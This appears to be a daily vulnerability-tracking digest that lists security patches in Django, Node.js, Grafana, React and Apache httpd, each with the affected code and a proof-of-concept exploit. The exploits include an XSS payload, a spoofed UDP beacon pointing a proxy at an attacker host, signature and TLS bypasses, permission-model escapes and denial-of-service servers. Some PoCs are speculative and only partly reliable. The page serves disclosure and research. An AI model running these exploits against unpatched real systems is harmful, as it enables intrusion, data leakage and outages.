📰 Vulnerability Spoiler Alert


“Exposing patches before CVEs since 2025”

Saturday, June 27, 2026

📋 Today’s Briefing

259
Total Findings
71
Confirmed CVEs
129
Verified
0
Unverified
59
False Positives
CRITICAL: 3 HIGH: 107 MEDIUM: 78 LOW: 12
71 CVE matched
56 found before CVE
2 avg lead (days)
27 max lead (days)

⚠️ MEDIUM VERIFIED Cache Key Collision

Jun 24, 2026, 02:00 PM — django/django

Commit: 65acb3cc2e76c238f5aee38d22626d92171a2f7c

Author: Jacob Walls

The `_generate_cache_key` function in Django's cache framework concatenated HTTP header values without any delimiter when building the cache key hash. This allowed two requests with different header values to produce the same cache key if the values concatenated to the same string (e.g., headers 'EU' and '' vs '' and 'EU'). The patch fixes this by using netstring encoding (length-prefixed with trailing comma) for each header value, ensuring unique encodings for distinct value combinations.

🔍 View Affected Code & PoC

Affected Code

for header in headerlist:
    value = request.META.get(header)
    if value is not None:
        ctx.update(value.encode())

Proof of Concept

# Setup: Response varies on two headers X-Region and X-Tenant
# Request A: X-Region='EU', X-Tenant='' -> MD5 input: b'EU' + b'' = b'EU'
# Request B: X-Region='', X-Tenant='EU' -> MD5 input: b'' + b'EU' = b'EU'
# Both produce the same cache key, so Request B gets the cached response for Request A

# Concrete exploit:
import requests
# First request: user in EU region, empty tenant
r1 = requests.get('https://example.com/page', headers={'X-Region': 'EU', 'X-Tenant': ''})
# This response gets cached under key hash of 'EU'

# Second request: empty region, EU tenant - a DIFFERENT user context
# Gets served the WRONG cached response because hash('EU') == hash('EU')
r2 = requests.get('https://example.com/page', headers={'X-Region': '', 'X-Tenant': 'EU'})
# r2 incorrectly receives r1's cached content

⚠️ MEDIUM VERIFIED Cache Key Collision

Jun 24, 2026, 02:00 PM — django/django

Commit: 8acd000725838f73c5e6781114f11866f6674c46

Author: Jacob Walls

The template fragment cache key generation used a simple `:` delimiter between vary-on arguments without encoding the length of each argument, allowing cache key collisions between different argument combinations. For example, vary_on=\['a:b','c'\] and vary_on=\['a','b:c'\] would produce the same MD5 hash, potentially causing one user's cached content to be served to another user with different cache parameters.

🔍 View Affected Code & PoC

Affected Code

for arg in vary_on:
    hasher.update(str(arg).encode())
    hasher.update(b":")

Proof of Concept

from django.core.cache.utils import make_template_fragment_key

# Before patch, these two calls produce the SAME cache key:
key1 = make_template_fragment_key('foo', ['a:b', 'c'])  # hashes 'a:b:c:'
key2 = make_template_fragment_key('foo', ['a', 'b:c'])  # also hashes 'a:b:c:'
assert key1 == key2  # Collision! Different arguments, same cache key
# This means a page cached for user with args ['a:b','c'] would be returned
# for a user with args ['a','b:c'], leaking potentially sensitive cached content.

⚠️ MEDIUM VERIFIED Denial of Service (Infinite Loop / Heap Out-of-Memory)

Jun 23, 2026, 07:21 PM — nodejs/node

Commit: ff58f43f453a90602ed2ab9ee357f370a29787d5

Author: Ijtihed Kilani

In Node.js `util.inspect()` with `colors: true`, the `markNodeModules` function entered an infinite loop when an error stack trace contained a `node_modules` path segment with no trailing path separator (e.g., `at /app/node_modules/foo.js:1:1`). `StringPrototypeIndexOf` returned `-1` for `moduleEnd`, which caused `searchFrom` to be set to `-1`, making the next `indexOf` restart from index 0, rematch the same segment, and grow `tempLine` unboundedly until the heap was exhausted. The fix clamps `moduleEnd` to `line.length` when no trailing separator is found, allowing the loop to terminate normally.

🔍 View Affected Code & PoC

Affected Code

let moduleEnd = StringPrototypeIndexOf(line, separator, moduleStart);
    if (line[moduleStart] === '@') {
      // Namespaced modules have an extra slash: @namespace/package
      moduleEnd = StringPrototypeIndexOf(line, separator, moduleEnd + 1);
    }

Proof of Concept

// Run with Node.js before the patch:
const util = require('util');
const err = new Error('boom');
err.stack = 'Error: boom\n    at /app/node_modules/foo.js:1:1';
// The following call enters an infinite loop, growing memory until OOM crash:
util.inspect(err, { colors: true });

🔥 HIGH VERIFIED Cryptographic Signature Verification Bypass

Jun 23, 2026, 06:44 PM — nodejs/node

Commit: 29890721cda51eeb64f4079143d55b69333599c2

Author: Filip Skokan

Before this patch, Node.js WebCrypto's EdDSA (Ed25519/Ed448) signature verification would return 'true' for signatures involving small-order public keys or small-order R components in the signature, even when the signature was mathematically trivial/invalid. This is a signature verification bypass: an attacker can use a small-order public key (e.g., a low-order point) along with a crafted signature to produce a valid verification result without knowing the private key, since multiplying a small-order point by any scalar yields a point in the small subgroup. The patch adds explicit rejection of small-order points in both the public key and the signature's R component during verification.

🔍 View Affected Code & PoC

Affected Code

if (context.verify(params.data, params.signature)) {
  static_cast<char*>(buf.get())[0] = 1;
}

Proof of Concept

// Using Node.js WebCrypto before the patch:
const { subtle } = globalThis.crypto;
// Small-order Ed25519 public key (order-8 point)
const smallOrderPubKey = Buffer.from('c7176a703d4dd84fba3c0b760d10670f2a2053fa2c39ccc64ec7fd7792ac03fa', 'hex');
// Crafted signature with small-order R component
const craftedSig = Buffer.from('c7176a703d4dd84fba3c0b760d10670f2a2053fa2c39ccc64ec7fd7792ac037a' + '0000000000000000000000000000000000000000000000000000000000000000', 'hex');
const data = Buffer.from('8c93255d71dcab10e8f379c26200f3c7bd5f09d9bc3068d3ef4edeb4853022b6', 'hex');
const key = await subtle.importKey('raw', smallOrderPubKey, { name: 'Ed25519' }, false, ['verify']);
const result = await subtle.verify({ name: 'Ed25519' }, key, craftedSig, data);
// Before patch: result === true (bypass!), After patch: result === false

⚠️ MEDIUM VERIFIED Broken Access Control / Missing Authorization

Jun 23, 2026, 05:20 PM — grafana/grafana

Commit: 7b304b3e2809008286c66ca6b2fbb712535c3465

Author: Jessica Liu

The Kubernetes-based GET /tags API endpoint in Grafana's annotation app returned all annotation tags to any authenticated user regardless of their permissions. Before the patch, the tags handler was initialized without an access client and performed no authorization checks, meaning any authenticated user (including those with org role = None and no permissions) could enumerate all annotation tags in an organization. The patch adds a call to `authorizeReadOrganizationAnnotations` that verifies the caller has `annotations:read` permission with organization scope before returning tag data.

🔍 View Affected Code & PoC

Affected Code

tagHandler := newTagsHandler(tagProvider, installer.tracer, installer.metrics, logger)
// newTagsHandler had no accessClient parameter and performed no authz checks

Proof of Concept

# An authenticated Grafana user with org role=None (no permissions) can enumerate all annotation tags:
curl -H 'Authorization: Bearer <token_of_user_with_no_permissions>' \
  'https://grafana-instance/apis/annotation.grafana.app/v0alpha1/namespaces/default/tags'
# Before patch: returns full list of annotation tags (exposing potentially sensitive tag metadata)
# After patch: returns 403 Forbidden with 'requires the annotations:read permission with the organization scope'

⚠️ MEDIUM VERIFIED Cross-Site Scripting (XSS)

Jun 23, 2026, 10:28 AM — facebook/react

Commit: 99e86060ac35ea81153ac39ddab9b4cd744d9391

Author: Minh Vu

The `onError` function in standalone.js used `node.innerHTML` to render error messages, directly interpolating the `message` property from error objects into an HTML string template. If an attacker could control the error `message` (e.g., through a malicious WebSocket server response or crafted network error), they could inject arbitrary HTML/JavaScript into the DevTools UI. The patch replaces `innerHTML` with `textContent` via DOM node construction, neutralizing HTML injection.

🔍 View Affected Code & PoC

Affected Code

node.innerHTML = `
      <div class="box">
        <div class="box-header">
          Unknown error
        </div>
        <div class="box-content">
          ${message}
        </div>
      </div>
    `;

Proof of Concept

A malicious WebSocket server sends an error with message: '<img src=x onerror=alert(document.cookie)>'. When the DevTools client connects to this server and receives an error, the old code would execute: node.innerHTML = `...<div class="box-content"><img src=x onerror=alert(document.cookie)></div>...`; causing the onerror handler to execute arbitrary JavaScript in the Electron/browser context running DevTools.

🔥 HIGH VERIFIED Authorization Bypass

Jun 23, 2026, 09:44 AM — grafana/grafana

Commit: b9b897b3c512ee434341bb9d698eac24f90eca89

Author: Costa Alexoglou

Before the patch, the `listPermission` function for mapper-miss resources (folder-scoped CRDs like `*.ext.grafana.app`) would hit the `scopeMap\["*"\]` early-return check before forking to the folder-authz model. This meant that if a user had a resource-type wildcard permission (e.g., `unregistered.grafana.app/widgets:get` with scope `*`), the LIST endpoint would return `All: true` (allowing all objects) without requiring any folder-level authorization. The fix forks to `listPermissionWithFolderAuthz` before the wildcard check, ensuring folder-scoped resources always require both a stack role AND folder-level permission.

🔍 View Affected Code & PoC

Affected Code

func (s *Service) listPermission(ctx context.Context, scopeMap map[string]bool, req *listRequest) (*authzv1.ListResponse, error) {
	if scopeMap["*"] {
		return &authzv1.ListResponse{
			All:    true,
			...

Proof of Concept

Send a List request for a folder-scoped CRD resource (e.g., group=widget.ext.grafana.app, resource=widgets) with a user that has a wildcard resource permission (Action: 'widget.ext.grafana.app/widgets:get', Scope: '*'). Before the patch, the response would return {All: true} granting access to all objects without any folder authorization check. This allows a user with only a resource-type wildcard grant (but no folder access) to list all objects across all folders.

🔥 HIGH VERIFIED Server-Side Request Forgery (SSRF) / Traffic Hijacking via Unauthenticated UDP Beacon

Jun 22, 2026, 05:28 PM — apache/httpd

Commit: f4ec94c524895c7bdceb418a1a7dae80b8496f10

Author: Jim Jagielski

Before this patch, ProxyBeaconSecret was optional. Without it, any host that could reach the proxy's UDP beacon port could send an unauthenticated datagram announcing an arbitrary backend URL, causing the proxy to add that URL as a balancer member and route client traffic to an attacker-controlled server. Since UDP source addresses are trivially spoofable, there was no reliable way to restrict who could inject members. The patch makes ProxyBeaconSecret mandatory, causing startup to fail if it is omitted, eliminating the unauthenticated mode entirely.

🔍 View Affected Code & PoC

Affected Code

if (ctx->balancer_name && !ctx->has_secret && !ctx->warned_insecure) {
    ap_log_error(APLOG_MARK, APLOG_WARNING, 0, s,
                 APLOGNO(10572) "mod_proxy_beacon: beacon channel on %pI is "
                 "UNAUTHENTICATED; set ProxyBeaconSecret on the proxy and "
                 "all backends to require signed beacons", ctx->addr);
    ctx->warned_insecure = 1;
}

Proof of Concept

# Attacker sends a crafted UDP beacon datagram to the proxy's listen port (e.g., UDP/5555)
# with no secret configured on the proxy, causing the proxy to add an attacker-controlled
# backend to the balancer and route client traffic there.

python3 -c "
import socket
msg = b'BEACON url=http://attacker.example.com:9999 host=evil pid=1234 seq=1 ts=1719000000000000'
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(msg, ('proxy.internal', 5555))
print('Sent malicious beacon - proxy will now route traffic to attacker.example.com:9999')
"

🔥 HIGH VERIFIED HTTP Response Queue Poisoning (TOCTOU Race Condition)

Jun 20, 2026, 02:58 PM — nodejs/node

Commit: 57a4932a9def74d1a1161805fe6aa4c040157652

Author: Matteo Collina

When http.Agent with keepAlive is used, there is a window between a socket entering the freeSockets pool (with parser detached) and being reassigned to a new request. If a server sends an HTTP response during this window, the data sits in the TCP buffer and gets silently consumed as the response for the next request — poisoning the response queue. The fix installs a low-level read guard on the socket handle so unsolicited data destroys the socket. This commit is a follow-up that changes the guard from a public 'data' event listener (which caused false ERR_STREAM_PREMATURE_CLOSE in node-fetch@2) to an internal onread hook, but the underlying security fix (destroying sockets with unsolicited data) was already present.

🔍 View Affected Code & PoC

Affected Code

socket.on('data', freeSocketDataGuard);
socket.resume();

Proof of Concept

const http = require('http');
const net = require('net');
// Server that sends an extra response after the first request completes
const server = http.createServer((req, res) => {
  const sock = req.socket;
  res.end('legit');
  // After response, inject a poisoned response into the idle socket
  setImmediate(() => {
    sock.write('HTTP/1.1 200 OK\r\nContent-Length: 6\r\n\r\nHACKED');
  });
});
server.listen(0, () => {
  const agent = new http.Agent({ keepAlive: true });
  const opts = { host: '127.0.0.1', port: server.address().port, agent };
  http.get({ ...opts, path: '/first' }, (res) => {
    res.resume();
    res.on('end', () => {
      // Socket returned to pool; poisoned response is in TCP buffer
      // Next request receives 'HACKED' instead of real response
      http.get({ ...opts, path: '/second' }, (res2) => {
        let body = '';
        res2.on('data', d => body += d);
        res2.on('end', () => console.log('Got:', body)); // prints 'HACKED' without the fix
      });
    });
  });
});
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-35193 Cache Poisoning / Improper Cache Storage

Jun 19, 2026, 04:30 PM — django/django

Patch landed 16 days 59 minutes after CVE published

Commit: b461519bf5973d7fc149560d2f99acdba71a437d

Author: Natalia

Django's UpdateCacheMiddleware failed to recognize qualified Cache-Control directives (e.g., `Cache-Control: private="Set-Cookie"`) as restrictions on caching. The code used exact token matching against the full directive string, so `private="Set-Cookie"` would not match the string `private`, causing the response to be stored in a shared cache even though it was marked private. The patch introduces a `split_directive_names()` helper that strips the qualified value portion before comparison.

🔍 View Affected Code & PoC

Affected Code

cache_control_parts = list(split_header_value(cache_control))
if cache_control and any(
    directive in cache_control_parts
    for directive in ("private", "no-cache", "no-store",)
):

Proof of Concept

# A Django view returning a response with a qualified Cache-Control directive:
from django.http import HttpResponse
from django.views.decorators.cache import cache_page

@cache_page(300)
def sensitive_view(request):
    user_data = f"Secret data for user: {request.user}"
    response = HttpResponse(user_data)
    # RFC 9111 allows qualified form: private="Set-Cookie" means only Set-Cookie
    # header is private, but the directive name is still 'private'
    response['Cache-Control'] = 'private="Set-Cookie"'
    return response

# Before the patch: the middleware checks if 'private="Set-Cookie"' is in
# ['private="Set-Cookie"'] matching against 'private' -> False, so the
# response IS stored in cache. A second request from a different user
# receives the first user's sensitive data from cache.
# request1 = factory.get('/sensitive/')
# response1 = sensitive_view(request1)  # stored in shared cache
# request2 = factory.get('/sensitive/')
# response2 = sensitive_view(request2)  # returns user1's data from cache!
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-48930 NUL Byte Injection / DNS Hostname Injection

Jun 18, 2026, 04:29 AM — nodejs/node

📈 Patch landed 7 days 23 hours 2 minutes before CVE published

Commit: 7dafafa2424710ded8b77eb7c878e884c1aef64e

Author: Matteo Collina

Node.js DNS lookup and net.connect functions accepted hostnames containing embedded NUL bytes (\\u0000). Because C strings are NUL-terminated, the underlying C library (getaddrinfo/c-ares) would truncate the hostname at the first NUL byte, causing the actual DNS lookup to resolve a completely different hostname than what the JavaScript code specified. This could allow bypassing hostname validation or allowlist checks in application code. The patch adds a `validateStringWithoutNullBytes` validator that throws ERR_INVALID_ARG_VALUE when NUL bytes are present.

🔍 View Affected Code & PoC

Affected Code

if (hostname) {
    validateString(hostname, 'hostname');
  }

Proof of Concept

// Attacker bypasses hostname allowlist check:
const dns = require('dns');
// Application checks hostname ends with '.allowed.example' - validation passes
// But actual DNS query resolves '127.0.0.1' (truncated at NUL)
dns.lookup('127.0.0.1\u0000.allowed.example', {}, (err, address) => {
  console.log(address); // resolves 127.0.0.1, bypassing the allowlist check
});

// Similarly with net:
const net = require('net');
// App validates host contains '.trusted.example', but connects to 'evil.com'
net.createConnection({ host: 'evil.com\u0000.trusted.example', port: 80 });
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-48934 TLS Session Hijacking / Authentication Bypass

Jun 18, 2026, 04:29 AM — nodejs/node

📈 Patch landed 7 days 23 hours 2 minutes before CVE published

Commit: 9cc4e32375cc0ef9b6e7452e287f12f864c99553

Author: Matteo Collina

Before this patch, TLS session tickets/sessions stored by Node.js could be reused for connections to different hosts. An attacker who could influence the session cache (e.g., via a malicious or compromised server, or by controlling the session data) could cause a client to reuse a TLS session authenticated for host A when connecting to host B, bypassing certificate verification for the second connection. The patch binds session data to the server identity by wrapping sessions with a prefix that includes the servername, and validates the identity matches before reuse.

🔍 View Affected Code & PoC

Affected Code

TLSSocket.prototype.setSession = function(session) {
  if (typeof session === 'string')
    session = Buffer.from(session, 'latin1');
  this._handle.setSession(session);
};

Proof of Concept

// Attacker scenario: steal a TLS session from evil.com and reuse it for bank.com
const tls = require('tls');

// Step 1: Connect to evil.com (attacker-controlled server) and capture session
const evilConn = tls.connect({ host: 'evil.com', port: 443 });
let stolenSession;
evilConn.on('session', (session) => { stolenSession = session; });

// Step 2 (before patch): Reuse stolen session for bank.com - bypasses cert check
// because isSessionReused() returns true and checkServerIdentity is skipped
const bankConn = tls.connect({
  host: 'bank.com',
  port: 443,
  session: stolenSession,  // raw session, no host binding
});
// Connection succeeds with session reuse, checkServerIdentity is never called
// because onConnectSecure checks: if (!verifyError && !this.isSessionReused())
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-48935 Permission Model Bypass

Jun 18, 2026, 04:29 AM — nodejs/node

📈 Patch landed 7 days 23 hours 2 minutes before CVE published

Commit: a929332960773e85c9e987dc7b32e3bcb8b77b77

Author: RafaelGSS

The `FileHandle.utimes()` method (which calls `futimes` internally) did not check whether the Node.js Permission Model was enabled before modifying file timestamps. This allowed an attacker to bypass write-access restrictions enforced by the Permission Model by obtaining a file descriptor through a read-only open and then calling `fh.utimes()` to modify timestamps on files that should be protected from writes. The patch adds an explicit check that throws `ERR_ACCESS_DENIED` when the Permission Model is active.

🔍 View Affected Code & PoC

Affected Code

async function futimes(handle, atime, mtime) {
  atime = toUnixTimestamp(atime, 'atime');
  mtime = toUnixTimestamp(mtime, 'mtime');
  return await PromisePrototypeThen(

Proof of Concept

// Run with: node --permission --allow-fs-read=* exploit.js
// (no --allow-fs-write granted)
const { open } = require('fs/promises');

(async () => {
  // Open file for reading only (allowed by permission model)
  const fh = await open('/some/protected/file.txt', 'r');
  // Before the patch, this would succeed despite no write permission
  await fh.utimes(0, 0); // sets atime/mtime to epoch, bypassing permission model
  console.log('Timestamps modified without write permission!');
  await fh.close();
})();
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-48936 Permission Model Bypass

Jun 18, 2026, 04:29 AM — nodejs/node

📈 Patch landed 7 days 23 hours 2 minutes before CVE published

Commit: e4c8dc983ce2fae81f9cfe15167b4b589d63c017

Author: RafaelGSS

The Node.js Permission Model's Net scope could be bypassed via `uv_pipe_chmod` on Unix Domain Sockets. Before the patch, `PipeWrap::Fchmod` did not check the Net permission scope, allowing code running under `--permission --allow-net=...` restrictions to call `pipe.fchmod()` and change permissions on a UDS pipe even when net access was denied. The patch adds a `THROW_IF_INSUFFICIENT_PERMISSIONS` check for `kNet` before allowing the chmod operation.

🔍 View Affected Code & PoC

Affected Code

void PipeWrap::Fchmod(const v8::FunctionCallbackInfo<v8::Value>& args) {
  PipeWrap* wrap;
  ASSIGN_OR_RETURN_UNWRAP(&wrap, args.This());
  CHECK(args[0]->IsInt32());
  int mode = args[0].As<Int32>()->Value();
  int err = uv_pipe_chmod(&wrap->handle_, mode);
  args.GetReturnValue().Set(err);
}

Proof of Concept

// Run with: node --permission --allow-fs-read=* --allow-fs-write=* exploit.js
// Before patch, this would succeed in calling fchmod on a pipe despite Net being denied
const net = require('net');
const server = net.createServer();
// Bypass: directly access internal pipe handle and call fchmod
// The open+chmod on the UDS socket would succeed without Net permission check
const pipe = server._handle;
if (pipe && pipe.fchmod) {
  pipe.fchmod(0o777); // No ERR_ACCESS_DENIED thrown before patch
  console.log('Net permission bypass succeeded via fchmod');
}
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-48931 HTTP Response Queue Poisoning

Jun 18, 2026, 04:29 AM — nodejs/node

📈 Patch landed 4 days 17 hours 1 minute before CVE published

Commit: 179ddaedfba33a70f638de708a2e3289bee3cd55

Author: Matteo Collina

When http.Agent uses keepAlive sockets, there is a window between a socket returning to the freeSockets pool (with the HTTPParser detached) and being reused for the next request. During this window, a malicious or misbehaving server can send unsolicited HTTP response data that sits in the TCP buffer and gets consumed as the response for the next client request, effectively poisoning the response queue. The fix attaches a 'data' event guard listener and calls resume() on idle sockets so any unsolicited data immediately destroys the socket instead of being silently buffered.

🔍 View Affected Code & PoC

Affected Code

socket.once('error', freeSocketErrorListener);
freeSockets.push(socket);

Proof of Concept

const http = require('http');
// Attacker controls the server or can inject data at TCP level.
// 1. Client sends request1, server responds, socket goes to freeSockets pool.
// 2. Before client sends request2, server writes a fake response on the idle socket:
//    serverSocket.write('HTTP/1.1 200 OK\r\nX-Poisoned: true\r\nContent-Length: 13\r\n\r\nattacker-data');
// 3. Client sends request2 - without the fix, the buffered poisoned data is
//    consumed as the response to request2, returning attacker-controlled headers/body.
// 4. The real response to request2 arrives later and corrupts the next request.
// Net effect: client sees attacker-injected response body/headers for request2.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-48933 Integer Overflow

Jun 18, 2026, 04:29 AM — nodejs/node

📈 Patch landed 7 days 23 hours 2 minutes before CVE published

Commit: 6a8808a0bbec99eb8efabfe5ec398239ad1e522f

Author: Filip Skokan

Before the patch, the WebCrypto cipher paths in AES and ChaCha20-Poly1305 computed the output buffer length as `int buf_len = data_len + ctx.getBlockSize() + (encrypt ? tag_len : 0)` where `data_len` is a `size_t` and the result is stored in an `int`. When `data_len` is very large (e.g., close to or exceeding INT_MAX), this arithmetic overflows the signed int, leading to a negative or incorrect buffer length being allocated and passed to OpenSSL, causing potential heap buffer overflow or memory corruption. The patch adds a `TryGetIntCipherOutputLength` helper that checks if the sum would exceed INT_MAX before computing the output length.

🔍 View Affected Code & PoC

Affected Code

size_t total = 0;
  int buf_len = data_len + ctx.getBlockSize() + (encrypt ? tag_len : 0);

Proof of Concept

// Using Node.js WebCrypto API:
const { webcrypto } = require('crypto');
async function exploit() {
  const key = await webcrypto.subtle.generateKey({name: 'AES-GCM', length: 128}, false, ['encrypt']);
  // Craft an input where data_len is large enough to cause overflow when added to block_size+tag_len
  // data_len near INT_MAX causes: int buf_len = ~2GB + 16 + 16 => signed integer overflow => negative buf_len
  // This leads OpenSSL to receive a negative/wrong length, causing heap corruption
  const largeInput = new Uint8Array(2 * 1024 * 1024 * 1024 - 10); // ~2GB, near INT_MAX
  await webcrypto.subtle.encrypt({name: 'AES-GCM', iv: new Uint8Array(12)}, key, largeInput);
  // Before patch: signed integer overflow on buf_len computation -> heap buffer overflow
  // After patch: operation cleanly fails with FAILED status
}
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-48615 Sensitive Data Exposure / Credential Leak

Jun 18, 2026, 04:29 AM — nodejs/node

📈 Patch landed 7 days 23 hours 2 minutes before CVE published

Commit: 3e9954a88b6a291fc4041aa7ff2b9725f4f86025

Author: Matteo Collina

Before the patch, the `ProxyConfig` class stored the full proxy URL including plaintext credentials (username and password) in `this.href`. When tunnel establishment failed (e.g., 407 Proxy Authentication Required), Node.js would include `this.href` in the error message, causing proxy credentials to appear in error output, logs, or stderr. The patch redacts credentials from the stored href by clearing username/password from the parsed URL before storing it.

🔍 View Affected Code & PoC

Affected Code

this.href = proxyUrl;

Proof of Concept

Set HTTPS_PROXY=http://secretuser:[email protected]:8080 and make an HTTPS request through a proxy that returns 407. Before the patch, stderr/error messages would contain the full URL including 'secretuser:secretpass', e.g.: 'Tunnel failed via http://secretuser:[email protected]:8080 - 407 Proxy Authentication Required'. An attacker with access to logs or error output could extract the proxy credentials.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-48617 Permission Model Bypass

Jun 18, 2026, 04:29 AM — nodejs/node

📈 Patch landed 14 hours 6 minutes before CVE published

Commit: 9cc79c177da561e295ed4d58c7596cc6cd2c1b0c

Author: RafaelGSS

When Node.js is run with the --permission flag (Permission Model), `process.report.writeReport()` did not check whether the process had FileSystemWrite permission before writing files to disk. This allowed code running under a restricted permission context to bypass filesystem write restrictions by writing diagnostic reports to arbitrary locations. The patch adds an explicit permission check using `permission.has('fs.write', resource)` before allowing the write operation.

🔍 View Affected Code & PoC

Affected Code

writeReport(file, err) {
    if (typeof file === 'object' && file !== null) {
      err = file;
      file = undefined;
    } else if (file !== undefined) {
      validateString(file, 'file');
      file = getValidatedPath(file);
    }
    // No permission check here - write proceeds regardless of --permission flags

Proof of Concept

node --permission --allow-fs-read=* -e "process.report.writeReport('/etc/cron.d/malicious_report')" 
// Before the patch, this would write a file to /etc/cron.d/ even though --allow-fs-write was not granted, bypassing the Permission Model's filesystem write restrictions. Similarly: node --permission --allow-fs-read=* -e "process.report.writeReport()" would write to process.cwd() without any write permission check.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-48618 TLS Certificate Validation Bypass

Jun 18, 2026, 04:29 AM — nodejs/node

📈 Patch landed 7 days 23 hours 2 minutes before CVE published

Commit: 1efb4ff51a0624236332ea98b23bd1106f68d8af

Author: Matteo Collina

Before the patch, Node.js's `checkServerIdentity` function did not normalize Unicode/IDN hostnames to their ASCII-compatible encoding (ACE/Punycode) before comparing against certificate Subject Alternative Names. An attacker could use a Unicode full-width or lookalike character (e.g., the ideographic full stop '。' U+3002) in a hostname that would visually appear similar to a legitimate domain, bypassing TLS server identity verification because the raw Unicode string wouldn't match the ASCII certificate SAN, but the connection might still be allowed in certain edge cases. The patch converts the hostname to ASCII via `domainToASCII` before performing identity checks.

🔍 View Affected Code & PoC

Affected Code

hostname = unfqdn(hostname);  // Remove trailing dot for error messages.

if (net.isIP(hostname)) {
  valid = ips.includes(canonicalizeIP(hostname));
  if (!valid)
    reason = `IP: ${hostname} is not in the cert's list: ` + ips.join(', ');
} else if (dnsNames.length > 0 || subject?.CN) {
  const hostParts = splitHost(hostname);

Proof of Concept

// An attacker controls a server with a wildcard cert for *.evil.com
// They craft a hostname using Unicode lookalike characters that,
// when NOT normalized, bypasses the check:
// 
// const tls = require('tls');
// const result = tls.checkServerIdentity('foo。bar.example.com', {
//   subjectaltname: 'DNS:*.example.com',
//   subject: {}
// });
// Before patch: The Unicode full-stop '。' (U+3002) is NOT normalized,
// so 'foo。bar.example.com' is split incorrectly and may not match '*.example.com',
// but more critically, a hostname like 'victim.com\u3002attacker.com' could
// be passed where domainToASCII would yield 'victim.com.attacker.com',
// allowing certificate validation to succeed against a cert for '*.attacker.com'
// while the user sees 'victim.com。attacker.com' in the URL.
//
// Concrete PoC: Connect to a TLS server where hostname='legit.com\u3002evil.com'
// and the server presents a cert with SAN 'DNS:*.evil.com'.
// Before patch: splitHost('legit.com\u3002evil.com') treats U+3002 as non-dot,
// causing hostname split to fail in a way that could allow the wildcard match
// against the ASCII-normalized form 'legit.com.evil.com' => matches '*.evil.com'.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-48619 Uncontrolled Resource Consumption (Memory Exhaustion / DoS)

Jun 18, 2026, 04:29 AM — nodejs/node

📈 Patch landed 7 days 23 hours 2 minutes before CVE published

Commit: 65a3ab3264f87725661deee4ebda85726c50fa98

Author: Matteo Collina

A malicious HTTP/2 server could send an unbounded number of ORIGIN frames with unique origins, causing the client-side `originSet` (a Set) to grow without limit for the lifetime of the session. This results in unbounded memory consumption on the client, leading to a denial-of-service condition. The patch caps the originSet at 128 entries (configurable via `maxOriginSetSize`) and destroys the session with an error when the limit is exceeded.

🔍 View Affected Code & PoC

Affected Code

function onOrigin(origins) {
  if (!session.encrypted || session.destroyed)
    return undefined;
  const originSet = initOriginSet(session);
  for (let n = 0; n < origins.length; n++)
    originSet.add(origins[n]);
  session.emit('origin', origins);
}

Proof of Concept

// Malicious HTTP/2 server that exhausts client memory:
const http2 = require('node:http2');
const server = http2.createSecureServer({ key, cert });
server.on('session', (session) => {
  let i = 0;
  setInterval(() => {
    // Send 1000 unique origins per frame repeatedly
    session.origin(...Array.from({ length: 1000 }, () => `https://evil${i++}.attacker.com`));
  }, 1); // Flood the client with unique origins indefinitely
});
// Client connecting to this server will accumulate millions of entries in originSet,
// consuming gigabytes of memory until the process crashes or is OOM-killed.
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-48928 Authentication Bypass

Jun 18, 2026, 04:29 AM — nodejs/node

📈 Patch landed 7 days 23 hours 2 minutes before CVE published

Commit: c68711fd3f0d5495fd89080a6fc182d50a1a8efd

Author: Matteo Collina

The `addContext()` method in Node.js TLS server constructed a RegExp without the case-insensitive flag 'i', causing SNI hostname matching to be case-sensitive. Since RFC 6066 specifies DNS hostnames are case-insensitive, an attacker in an mTLS configuration could send an uppercase or mixed-case SNI hostname (e.g., 'A.EXAMPLE.COM' instead of 'a.example.com') to bypass the per-tenant TLS context and its associated client certificate requirements, falling back to the default context which may have no or weaker client authentication. The fix adds the 'i' flag to the RegExp so matching is case-insensitive.

🔍 View Affected Code & PoC

Affected Code

servername
  .replace(/([.^$+?\-\\[\]{}])/g, '\\$1')
  .replaceAll('*', '[^.]*')
}$`);

Proof of Concept

In an mTLS server where 'a.example.com' context requires client certificates:

const tls = require('tls');
const server = tls.createServer(defaultOptions);
server.addContext('a.example.com', { key, cert, ca, requestCert: true, rejectUnauthorized: true });

// Attacker connects with uppercase SNI, bypassing the client cert requirement:
const client = tls.connect({
  port: server.address().port,
  servername: 'A.EXAMPLE.COM',  // uppercase bypasses per-tenant context
  rejectUnauthorized: false
  // No client certificate provided
});
// Before patch: connection succeeds using default context (no client cert required)
// After patch: connection uses the correct context requiring client cert, and fails without one

🔥 HIGH VERIFIED Unhandled Exception / Denial of Service

Jun 18, 2026, 12:00 AM — nodejs/node

Commit: 6cde2370268f6918f4caa7d2f712ef22db90eb1e

Author: Antoine du Hamel

Before the patch, exceptions thrown by TLS event listeners (resumeSession, OCSPRequest, newSession) were not caught and would propagate as uncaught exceptions, potentially crashing the Node.js process. A remote attacker could trigger these code paths by sending specially crafted TLS handshake data, causing the server to crash due to an uncaught exception from a user-supplied callback. The patch wraps these event emissions in try-catch blocks and routes errors through proper TLS error handlers (tlsClientError or server error events) instead.

🔍 View Affected Code & PoC

Affected Code

if (!owner.server.emit('resumeSession', hello.sessionId, onSession)) {
  // ...
}

socket.server.emit('OCSPRequest', ctx.getCertificate(), ctx.getIssuer(), onOCSP);

if (!owner.server.emit('newSession', sessionId, session, done))
  done();

Proof of Concept

const tls = require('tls');
const server = tls.createServer({
  key: fs.readFileSync('server-key.pem'),
  cert: fs.readFileSync('server-cert.pem'),
  sessionTimeout: 3600,
});
server.on('resumeSession', (id, cb) => {
  throw new Error('crash the server');
});
// No error handler - exception propagates as uncaught, crashing the process
server.listen(8443);
// Attacker connects twice with session resumption to trigger resumeSession event
